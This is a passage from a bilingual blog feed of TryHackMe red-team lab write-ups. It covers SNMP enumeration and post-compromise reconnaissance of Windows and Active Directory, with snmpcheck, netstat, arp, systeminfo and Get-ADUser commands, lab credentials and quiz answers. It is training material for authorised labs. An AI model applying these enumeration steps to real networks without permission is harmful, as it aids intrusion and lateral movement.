&lt;p&gt;Knowing that the community string used by the SNMP service is &lt;strong&gt;public&lt;/strong&gt;, use &lt;strong&gt;snmpcheck&lt;/strong&gt; to collect information about the MS Windows Server of IP &lt;strong&gt;10.10.198.117&lt;/strong&gt;. What is the location specified?&lt;br&gt;知道SNMP服务使用的社区字符串是 &lt;strong&gt;public&lt;/strong&gt; ，用于 &lt;strong&gt;snmpcheck&lt;/strong&gt; 收集有关IP &lt;strong&gt;10.10.198.117&lt;/strong&gt; 的MS Windows Server的信息。指定的位置是什么？&lt;/p&gt;
&lt;p&gt;假设我们已经知道当前系统中的SNMP服务使用的community string是&lt;strong&gt;public&lt;/strong&gt;，我们现在将使用&lt;strong&gt;snmpcheck&lt;/strong&gt;来收集Windows Server机器的有关信息：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#在攻击机上执行以下命令，可能需要先安装snmpcheck
#/opt/snmpcheck/snmpcheck.rb MACHINE_IP -c COMMUNITY_STRING
/opt/snmpcheck/snmpcheck.rb 10.10.1.133 -c public #指定目标机器ip地址

#或者使用
snmpwalk -v2c -c public 10.10.1.133

#还可以使用msf中的 auxiliary/scanner/snmp/snmp_enum 模块
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-enumeration/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-enumeration/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 25 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-The Lay of the Land</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-the-lay-of-the-land/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-the-lay-of-the-land/</guid><description>Red Teaming</description><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;It is essential to be familiar with the environment where you have initial access to a compromised machine during a red team engagement. Therefore, performing reconnaissance and enumeration is a significant part, and the primary goal is to gather as much information as possible to be used in the next stage.&lt;br&gt;在红队参与期间，您必须熟悉您可以初始访问受感染计算机的环境。因此，执行侦察和枚举是重要的一部分，主要目标是收集尽可能多的信息以用于下一阶段。&lt;/p&gt;
&lt;p&gt;With an initial foothold established, the post-exploitation process begins!&lt;br&gt;随着初步立足点的建立，开发后的过程开始了！&lt;/p&gt;
&lt;p&gt;This room introduces commonly-used concepts, technologies, and security products that we need to be aware of.&lt;br&gt;本会议室介绍了我们需要注意的常用概念、技术和安全产品。&lt;/p&gt;
&lt;p&gt;In this room, the assumption is that we have already gained access to the machine, and we are ready to expand our knowledge more about the environment by performing enumerating for the following:&lt;br&gt;在这个房间里，假设我们已经获得了对机器的访问权限，并且我们准备通过执行以下列举来扩展我们对环境的更多了解：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Network infrastrucutre 网络基础设施&lt;/li&gt;
&lt;li&gt;Active Directory Environment&lt;br&gt;Active Directory 环境&lt;/li&gt;
&lt;li&gt;Users and Groups 用户和组&lt;/li&gt;
&lt;li&gt;Host-based security solutions&lt;br&gt;基于主机的安全解决方案&lt;/li&gt;
&lt;li&gt;Network-based security solutions&lt;br&gt;基于网络的安全解决方案&lt;/li&gt;
&lt;li&gt;Applications and services&lt;br&gt;应用和服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s start learning! 让我们开始学习吧！&lt;/p&gt;
&lt;h1&gt;Deploy the VM&lt;/h1&gt;
&lt;p&gt;In order to follow along with the task content and apply what is given in this room, &lt;u&gt;you need to&lt;/u&gt;&lt;u&gt; start the attached machine by using the green Start Machine button in this task, and wait a few minutes for it to boot up.&lt;/u&gt; To access the attached machine, you can either use the split in browser view or connect through the &lt;u&gt;RDP&lt;/u&gt;.&lt;br&gt;为了遵循任务内容并应用此房间中给出的内容，您需要使用此任务中的绿色“启动计算机”按钮启动连接的计算机，并等待几分钟以使其启动。要访问连接的计算机，您可以使用浏览器视图中的拆分或通过 RDP 进行连接。&lt;/p&gt;
&lt;p&gt;If you prefer to connect via &lt;u&gt;RDP&lt;/u&gt;, make sure you deploy the AttackBox or connect&lt;u&gt; to the&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;VPN&lt;/u&gt;&lt;br&gt;如果希望通过 RDP 进行连接，请确保部署 AttackBox 或连接到 VPN.  &lt;/p&gt;
&lt;p&gt;Use the following credentials: kkidd:Pass123321@&lt;br&gt;使用以下凭据：kkidd：Pass123321@&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ xfreerdp /v:10.10.11.90 /u:kkidd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s discuss the common network infrastructure in the next task!&lt;br&gt;让我们在下一个任务中讨论常见的网络基础设施！&lt;/p&gt;
&lt;h1&gt;Network Infrastructure&lt;/h1&gt;
&lt;p&gt;Once arriving onto an unknown network, our first goal is to identify where we are and what we can get to. During the red team engagement, we need to understand what target system we are dealing with, what service the machine provides, what kind of network we are in. Thus, the enumeration of the compromised machine after getting initial access is the key to answering these questions. This task will discuss the common types of networks we may face during the engagement.&lt;br&gt;一旦到达一个未知的网络，我们的首要目标是确定我们在哪里以及我们可以到达什么。在红队参与期间，我们需要了解我们正在处理的目标系统，机器提供什么服务，我们处于什么样的网络中。因此，在获得初始访问权限后对受感染计算机的枚举是回答这些问题的关键。这项任务将讨论我们在参与过程中可能面临的常见网络类型。&lt;/p&gt;
&lt;p&gt;Network segmentation is an extra layer of network security divided into multiple subnets. It is used to improve the security and management of the network. For example, it is used for preventing unauthorized access to corporate most valuable assets such as customer data, financial records, etc.&lt;br&gt;网络分段是划分为多个子网的额外网络安全层。它用于提高网络的安全性和管理。例如，它用于防止未经授权访问公司最有价值的资产，例如客户数据、财务记录等。&lt;/p&gt;
&lt;p&gt;The Virtual Local Area Networks (VLANs) is a network technique used in network segmentation to control networking issues, such as broadcasting issues in the local network, and improve security. Hosts within the VLAN can only communicate with other hosts in the same VLAN network.&lt;br&gt;虚拟局域网 （VLAN） 是一种用于网络分段的网络技术，用于控制网络问题（例如本地网络中的广播问题）并提高安全性。VLAN 中的主机只能与同一 VLAN 网络中的其他主机通信。&lt;/p&gt;
&lt;p&gt;If you want to learn more about network fundamentals, we suggest trying the following TryHackMe module: &lt;a href=&quot;https://tryhackme.com/module/network-fundamentals&quot;&gt;Network Fundamentals&lt;/a&gt;&lt;br&gt;如果您想了解有关网络基础知识的更多信息，我们建议您尝试以下 TryHackMe 模块：网络基础知识.&lt;/p&gt;
&lt;p&gt;Internal Networks 内部网络&lt;/p&gt;
&lt;p&gt;Internal Networks are subnetworks that are segmented and separated based on the importance of the internal device or the importance of the accessibility of its data. The main purpose of the internal network(s) is to share information, faster and easier communications, collaboration tools, operational systems, and network services within an organization. In a corporate network, the network administrators intend to use network segmentation for various reasons, including controlling network traffic, optimizing network performance, and improving security posture.&lt;br&gt;内部网络是根据内部设备的重要性或其数据可访问性的重要性进行分段和分离的子网。内部网络的主要目的是在组织内共享信息、更快、更轻松的通信、协作工具、操作系统和网络服务。在企业网络中，网络管理员出于各种原因打算使用网络分段，包括控制网络流量、优化网络性能和改善安全状况。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-1.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;The previous diagram is an example of the simple concept of network segmentation as the network is divided into two networks. The first one is for employee workstations and personal devices. The second is for private and internal network devices that provide internal services such as &lt;u&gt;DNS&lt;/u&gt;, internal web, email services, etc.&lt;br&gt;上图是网络分段的简单概念示例，因为网络分为两个网络。第一个是用于员工工作站和个人设备。第二种是提供内部服务的专用和内部网络设备，如DNS、内部Web、电子邮件服务等。&lt;/p&gt;
&lt;p&gt;A Demilitarized Zone (&lt;u&gt;DMZ&lt;/u&gt;)&lt;br&gt;非军事区 （DMZ）&lt;/p&gt;
&lt;p&gt;A DMZ Network is an edge network that protects and adds an extra security layer to a corporation&amp;#39;s internal local-area network from untrusted traffic. A common design for &lt;u&gt;DMZ&lt;/u&gt; is a subnetwork that sits between the public internet and internal networks.&lt;br&gt;DMZ 网络是一种边缘网络，可保护公司内部局域网并添加额外的安全层，使其免受不受信任的流量的影响。DMZ 的常见设计是位于公共 Internet 和内部网络之间的子网。  &lt;/p&gt;
&lt;p&gt;Designing a network within the company depends on its requirements and need. For example, suppose a company provides public services such as a website, DNS, &lt;u&gt;FTP&lt;/u&gt;, Proxy, VPN, etc. In that case, they may design a &lt;u&gt;DMZ&lt;/u&gt; network to isolate and enable access control on the public network traffic, untrusted traffic.&lt;br&gt;在公司内部设计网络取决于其要求和需求。例如，假设一家公司提供公共服务，例如网站、DNS、FTP、代理、VPN 等。在这种情况下，他们可能会设计一个 DMZ 网络来隔离和启用对公共网络流量（不受信任流量）的访问控制。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-2.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;In the previous diagram, we represent the network traffic to the &lt;u&gt;DMZ&lt;/u&gt; network in red color, which is untrusted ( comes directly from the internet). The green network traffic between the internal network is the controlled traffic that may go through one or more than one network security device(s).&lt;br&gt;在上图中，我们用红色表示到 DMZ 网络的网络流量，这是不受信任的（直接来自 Internet）。内部网络之间的绿色网络流量是可能通过一个或多个网络安全设备的受控流量。&lt;/p&gt;
&lt;p&gt;Enumerating the system and the internal network is the discovering stage, which allows the attacker to learn about the system and the internal network. Based on the gained information, we use it to process lateral movement or privilege escalation to gain more privilege on the system or the &lt;u&gt;AD&lt;/u&gt; environment.&lt;br&gt;枚举系统和内部网络是发现阶段，它允许攻击者了解系统和内部网络。根据获得的信息，我们使用它来处理横向移动或权限提升，以获得在系统或AD环境中的更多权限。&lt;/p&gt;
&lt;p&gt;Network Enumeration 网络枚举&lt;/p&gt;
&lt;p&gt;There are various things to check related to networking aspects such as TCP and &lt;u&gt;UDP&lt;/u&gt; ports and established connections, routing tables, &lt;u&gt;ARP&lt;/u&gt; tables, etc.&lt;br&gt;有各种与网络方面相关的内容需要检查，例如 TCP 和 UDP 端口以及已建立的连接、路由表、ARP 表等。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s start checking the target machine&amp;#39;s TCP and UDP open ports. This can be done using the netstat command as shown below.&lt;br&gt;让我们开始检查目标计算机的 TCP 和 UDP 打开端口。这可以使用 netstat 命令完成，如下所示。&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;The output reveals the open ports as well as the established connections. Next, let&amp;#39;s list the &lt;u&gt;ARP&lt;/u&gt; table, which contains the IP address and the physical address of the computers that communicated with the target machines within the network. This could be helpful to see the communications within the network to scan the other machines for open ports and vulnerabilities.&lt;br&gt;输出显示打开的端口以及已建立的连接。接下来，让我们列出 ARP 表，该表包含与网络中的目标计算机通信的计算机的 IP 地址和物理地址。这可能有助于查看网络内的通信，以扫描其他计算机以查找打开的端口和漏洞。&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;Internal Network Services&lt;br&gt;内部网络服务  &lt;/p&gt;
&lt;p&gt;It provides private and internal network communication access for internal network devices. An example of network services is an internal &lt;u&gt;DNS&lt;/u&gt;, web servers, custom applications, etc. It is important to note that the internal network services are not accessible outside the network. However, once we have initial access to one of the networks that access these network services, they will be reachable and available for communications.&lt;br&gt;它为内部网络设备提供专用和内部网络通信访问。网络服务的一个示例是内部 DNS、Web 服务器、自定义应用程序等。需要注意的是，内部网络服务无法在网络外部访问。但是，一旦我们初始访问了访问这些网络服务的网络之一，它们就可以访问并可用于通信。&lt;/p&gt;
&lt;p&gt;We will discuss more Windows applications and services in Task 9, including &lt;u&gt;DNS&lt;/u&gt; and custom web applications.&lt;br&gt;我们将在任务 9 中讨论更多 Windows 应用程序和服务，包括 DNS 和自定义 Web 应用程序。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; netstat -na

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; arp -a

Interface: 10.10.141.51 --- 0xa
  Internet Address      Physical Address      Type
  10.10.0.1             02-c8-85-b5-5a-aa     dynamic
  10.10.255.255         ff-ff-ff-ff-ff-ff     static
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Read the above! 阅读上面的内容！&lt;/p&gt;
&lt;h1&gt;Active Directory （AD） 环境&lt;/h1&gt;
&lt;p&gt;What is the Active Directory (AD) environment?&lt;br&gt;什么是 Active Directory （AD） 环境？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-3.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;It is a Windows-based directory service that stores and provides data objects to the internal network environment. It allows for centralized management of authentication and authorization. The AD contains essential information about the network and the environment, including users, computers, printers, etc. For example, AD might have users&amp;#39; details such as job title, phone number, address, passwords, groups, permission, etc.&lt;br&gt;它是一种基于 Windows 的目录服务，用于存储数据对象并将其提供给内部网络环境。它允许集中管理身份验证和授权。AD 包含有关网络和环境的基本信息，包括用户、计算机、打印机等。例如，AD 可能具有用户的详细信息，例如职位、电话号码、地址、密码、组、权限等。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-4.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;The diagram is one possible example of how Active Directory can be designed. The &lt;u&gt;AD&lt;/u&gt; controller is placed in a subnet for servers (shown above as server network), and then the &lt;u&gt;AD&lt;/u&gt; clients are on a separate network where they can join the domain and use the &lt;u&gt;AD&lt;/u&gt; services via the firewall.&lt;br&gt;该图是 Active Directory 设计方法的一个可能示例。AD 控制器放置在服务器的子网中（如上所示为服务器网络），然后 AD 客户端位于单独的网络上，它们可以在其中加入域并通过防火墙使用 AD 服务。&lt;/p&gt;
&lt;p&gt;The following is a list of Active Directory components that we need to be familiar with:&lt;br&gt;以下是我们需要熟悉的 Active Directory 组件列表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Domain Controllers 域控制器&lt;/li&gt;
&lt;li&gt;Organizational Units 组织单位&lt;/li&gt;
&lt;li&gt;&lt;u&gt;AD&lt;/u&gt; objects AD 对象&lt;/li&gt;
&lt;li&gt;&lt;u&gt;AD&lt;/u&gt; Domains AD 域&lt;/li&gt;
&lt;li&gt;Forest 森林&lt;/li&gt;
&lt;li&gt;&lt;u&gt;AD&lt;/u&gt; Service Accounts: Built-in local users, Domain users, Managed service accounts&lt;br&gt;AD 服务帐户：内置本地用户、域用户、托管服务帐户&lt;/li&gt;
&lt;li&gt;Domain Administrators 域管理员&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A &lt;strong&gt;Domain Controller&lt;/strong&gt; is a Windows server that provides Active Directory services and controls the entire domain. It is a form of centralized user management that provides encryption of user data as well as controlling access to a network, including users, groups, policies, and computers. It also enables resource access and sharing. These are all reasons why attackers target a domain controller in a domain because it contains a lot of high-value information.&lt;br&gt;域控制器是提供 Active Directory 服务并控制整个域的 Windows 服务器。它是一种集中式用户管理形式，可提供用户数据加密以及控制对网络（包括用户、组、策略和计算机）的访问。它还支持资源访问和共享。这些都是攻击者以域中的域控制器为目标的原因，因为它包含大量高价值信息。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-5.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Organizational Units (OU&amp;#39;s)&lt;/strong&gt; are containers within the &lt;u&gt;AD&lt;/u&gt; domain with a hierarchical structure.&lt;br&gt;组织单位 （OU） 是 AD 域中具有分层结构的容器。&lt;/p&gt;
&lt;p&gt;**Active Directory Objects **can be a single user or a group, or a hardware component, such as a computer or printer. Each domain holds a database that contains object identity information that creates an &lt;u&gt;AD&lt;/u&gt; environment, including:&lt;br&gt;Active Directory 对象可以是单个用户或组，也可以是硬件组件，如计算机或打印机。每个域都包含一个数据库，其中包含创建 AD 环境的对象标识信息，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Users - A security principal that is allowed to authenticate to machines in the domain&lt;br&gt;用户 - 允许对域中的计算机进行身份验证的安全主体&lt;/li&gt;
&lt;li&gt;Computers - A special type of user accounts&lt;br&gt;计算机 - 一种特殊类型的用户帐户&lt;/li&gt;
&lt;li&gt;GPOs - Collections of policies that are applied to other &lt;u&gt;AD&lt;/u&gt; objects&lt;br&gt;GPO - 应用于其他 AD 对象的策略集合&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;AD&lt;/u&gt;&lt;/strong&gt;** **&lt;strong&gt;domains&lt;/strong&gt; are a collection of Microsoft components within an &lt;u&gt;AD&lt;/u&gt; network.&lt;br&gt;AD 域是 AD 网络中 Microsoft 组件的集合。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;AD&lt;/u&gt;&lt;/strong&gt;** **&lt;strong&gt;Forest&lt;/strong&gt; is a collection of domains that trust each other.&lt;br&gt;AD Forest 是相互信任的域的集合。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;For more information about the basics of Active Directory, we suggest trying the following TryHackMe room: &lt;a href=&quot;https://tryhackme.com/room/winadbasics&quot;&gt;Active Directory Basics&lt;/a&gt;&lt;br&gt;有关 Active Directory 基础知识的详细信息，建议尝试以下 TryHackMe 聊天室： Active Directory 基础知识.  &lt;/p&gt;
&lt;p&gt;_&lt;br&gt;_&lt;/p&gt;
&lt;p&gt;Once Initial Access has been achieved, finding an AD environment in a corporate network is significant as the Active Directory environment provides a lot of information to joined users about the environment. As a red teamer, we take advantage of this by enumerating the &lt;u&gt;AD&lt;/u&gt; environment and gaining access to various details, which can then be used in the lateral movement stage.&lt;br&gt;实现初始访问后，在企业网络中查找 AD 环境非常重要，因为 Active Directory 环境会向加入的用户提供有关环境的大量信息。作为红队成员，我们通过枚举 AD 环境并访问各种细节来利用这一点，然后可以在横向移动阶段使用这些细节。  &lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;In order to check whether the Windows machine is part of the AD environment or not, one way, we can use the command prompt systeminfo command. The output of the systeminfo provides information about the machine, including the operating system name and version, hostname, and other hardware information as well as the AD domain.&lt;br&gt;为了检查 Windows 机器是否是 AD 环境的一部分，一种方法是，我们可以使用命令提示符 systeminfo 命令。systeminfo 的输出提供有关计算机的信息，包括操作系统名称和版本、主机名和其他硬件信息以及 AD 域。&lt;/p&gt;
&lt;p&gt;Powershell Powershell的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; systeminfo | findstr Domain
OS Configuration:          Primary Domain Controller
Domain:                    thmdomain.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the above output, we can see that the computer name is an AD with thmdomain.com as a domain name which confirms that it is a part of the AD environment.&lt;br&gt;从上面的输出中，我们可以看到计算机名称是一个 AD，thmdomain.com 作为域名，这证实了它是 AD 环境的一部分。&lt;/p&gt;
&lt;p&gt;Note that if we get WORKGROUP in the domain section, then it means that this machine is part of a local workgroup.&lt;br&gt;请注意，如果我们在域部分获得 WORKGROUP，则意味着此计算机是本地工作组的一部分。&lt;/p&gt;
&lt;p&gt;Before going any further, ensure the attached machine is deployed and try what we discussed.** Is the attached machine part of the AD environment? (Y|N)**&lt;br&gt;在继续之前，请确保已部署连接的计算机并尝试我们讨论的内容。连接的计算机是 AD 环境的一部分吗？（Y|N)&lt;/p&gt;
&lt;p&gt;Y&lt;/p&gt;
&lt;p&gt;If it is part of an AD environment, &lt;strong&gt;what is the domain name of the AD?&lt;/strong&gt;&lt;br&gt;如果是AD环境的一部分，AD的域名是什么？&lt;/p&gt;
&lt;p&gt;thmredteam.com&lt;/p&gt;
&lt;h1&gt;Users and Groups Management&lt;/h1&gt;
&lt;p&gt;In this task, we will learn more about users and groups, especially within the Active Directory. Gathering information about the compromised machine is essential that could be used in the next stage. Account discovery is the first step once we have gained initial access to the compromised machine to understand what we have and what other accounts are in the system.&lt;br&gt;在此任务中，我们将了解有关用户和组的详细信息，尤其是在 Active Directory 中。收集有关受感染计算机的信息至关重要，这些信息可以在下一阶段使用。一旦我们获得了对受感染机器的初始访问权限，以了解我们拥有的内容以及系统中的其他帐户，帐户发现是第一步。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;An Active Directory environment contains various accounts with the necessary permissions, access, and roles for different purposes. Common Active Directory service accounts include built-in local user accounts, domain user accounts, managed service accounts, and virtual accounts.&lt;br&gt;Active Directory 环境包含各种帐户，这些帐户具有用于不同目的的必要权限、访问权限和角色。常见的 Active Directory 服务帐户包括内置本地用户帐户、域用户帐户、托管服务帐户和虚拟帐户。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The built-in local users&amp;#39; accounts are used to manage the system locally, which is not part of the &lt;u&gt;AD&lt;/u&gt; environment.&lt;br&gt;内置本地用户账号用于在本地管理系统，不属于AD环境。&lt;/li&gt;
&lt;li&gt;Domain user accounts with access to an active directory environment can use the &lt;u&gt;AD&lt;/u&gt; services (managed by &lt;u&gt;AD&lt;/u&gt;).&lt;br&gt;有权访问 Active Directory 环境的域用户帐户可以使用 AD 服务（由 AD 管理）。&lt;/li&gt;
&lt;li&gt;&lt;u&gt;AD&lt;/u&gt; managed service accounts are limited domain user account with higher privileges to manage &lt;u&gt;AD&lt;/u&gt; services.&lt;br&gt;AD 托管服务帐户是受限域用户帐户，具有更高的权限来管理 AD 服务。&lt;/li&gt;
&lt;li&gt;Domain Administrators are user accounts that can manage information in an Active Directory environment, including &lt;u&gt;AD&lt;/u&gt; configurations, users, groups, permissions, roles, services, etc. One of the red team goals in engagement is to hunt for information that leads to a domain administrator having complete control over the &lt;u&gt;AD&lt;/u&gt; environment.&lt;br&gt;域管理员是可以在 Active Directory 环境中管理信息的用户帐户，包括 AD 配置、用户、组、权限、角色、服务等。参与的红队目标之一是寻找信息，使域管理员能够完全控制 AD 环境。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following are Active Directory Administrators accounts:&lt;br&gt;以下是 Active Directory 管理员帐户：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;BUILTIN\Administrator 内置\管理员&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Local admin access on a domain controller   域控制器上的本地管理员访问权限&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Domain Admins 域管理员&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Administrative access to all resources in the domain   对域中所有资源的管理访问权限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Enterprise Admins 企业管理员&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Available only in the forest root   仅在林根中可用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Schema Admins 架构管理员&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Capable of modifying domain/forest; useful for red teamers   能够修改域/林;对红队队员有用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Server Operators 服务器操作员&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Can manage domain servers   可以管理域服务器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Account Operators 账户运营商&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Can manage users that are not in privileged groups   可以管理不在特权组中的用户&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Now that we learn about various account types within the &lt;u&gt;AD&lt;/u&gt; environment. Let&amp;#39;s enumerate the Windows machine that we have access to during the initial access stage. As a current user, we have specific permissions to view or manage things within the machine and the &lt;u&gt;AD&lt;/u&gt; environment.&lt;br&gt;现在，我们了解了 AD 环境中的各种帐户类型。让我们枚举在初始访问阶段有权访问的 Windows 计算机。作为当前用户，我们拥有查看或管理机器和 AD 环境中事物的特定权限。&lt;/p&gt;
&lt;p&gt;Active Directory (&lt;u&gt;AD&lt;/u&gt;) Enum&lt;br&gt;Active Directory （AD） 枚举&lt;/p&gt;
&lt;p&gt;Now, enumerating in the AD environment requires different tools and techniques. Once we confirm that the machine is part of the AD environment, we can start hunting for any variable info that may be used later. In this stage, we are using &lt;u&gt;PowerShell&lt;/u&gt; to enumerate for users and groups.&lt;br&gt;现在，在 AD 环境中枚举需要不同的工具和技术。一旦我们确认机器是 AD 环境的一部分，我们就可以开始寻找以后可能使用的任何变量信息。在此阶段，我们将使用 PowerShell 枚举用户和组。&lt;/p&gt;
&lt;p&gt;The following &lt;u&gt;PowerShell&lt;/u&gt; command is to get all active directory user accounts. Note that we need to use  -Filter argument.&lt;br&gt;以下 PowerShell 命令用于获取所有 Active Directory 用户帐户。请注意，我们需要使用 -Filter 参数。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-ADUser  -Filter *
DistinguishedName : CN=Administrator,CN=Users,DC=thmredteam,DC=com
Enabled           : True
GivenName         :
Name              : Administrator
ObjectClass       : user
ObjectGUID        : 4094d220-fb71-4de1-b5b2-ba18f6583c65
SamAccountName    : Administrator
SID               : S-1-5-21-1966530601-3185510712-10604624-500
Surname           :
UserPrincipalName :
PS C:\Users\thm&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can also use the &lt;a href=&quot;http://www.ietf.org/rfc/rfc2253.txt&quot;&gt;LDAP hierarchical tree structure&lt;/a&gt; to find a user within the AD environment. The Distinguished Name (DN) is a collection of comma-separated key and value pairs used to identify unique records within the directory. The DN consists of Domain Component (DC), OrganizationalUnitName (&lt;u&gt;OU&lt;/u&gt;), Common Name (CN), and others. The following &amp;quot;CN=User1,CN=Users,DC=thmredteam,DC=com&amp;quot; is an example of DN, which can be visualized as follow:&lt;br&gt;我们还可以使用 LDAP 分层树结构在 AD 环境中查找用户。可分辨名称 （DN） 是逗号分隔的键和值对的集合，用于标识目录中的唯一记录。DN 由域组件 （DC）、OrganizationalUnitName （OU）、公用名 （CN） 等组成。以下“CN=User1，CN=Users，DC=thmredteam，DC=com”是DN的一个示例，可以可视化如下：  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-The%20Lay%20of%20the%20Land-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using the SearchBase option, we specify a specific Common-Name CN in the active directory. For example, we can specify to list any user(s) that part of Users&lt;br&gt;使用 SearchBase 选项，我们在 Active Directory 中指定特定的公用名 CN。例如，我们可以指定列出用户部分的任何用户.  &lt;/p&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-ADUser -Filter * -SearchBase &amp;quot;CN=Users,DC=THMREDTEAM,DC=COM&amp;quot;


DistinguishedName : CN=Administrator,CN=Users,DC=thmredteam,DC=com
Enabled           : True
GivenName         :
Name              : Administrator
ObjectClass       : user
ObjectGUID        : 4094d220-fb71-4de1-b5b2-ba18f6583c65
SamAccountName    : Administrator
SID               : S-1-5-21-1966530601-3185510712-10604624-500
Surname           :
UserPrincipalName :
&lt;/code&gt;&lt;/pre&gt;
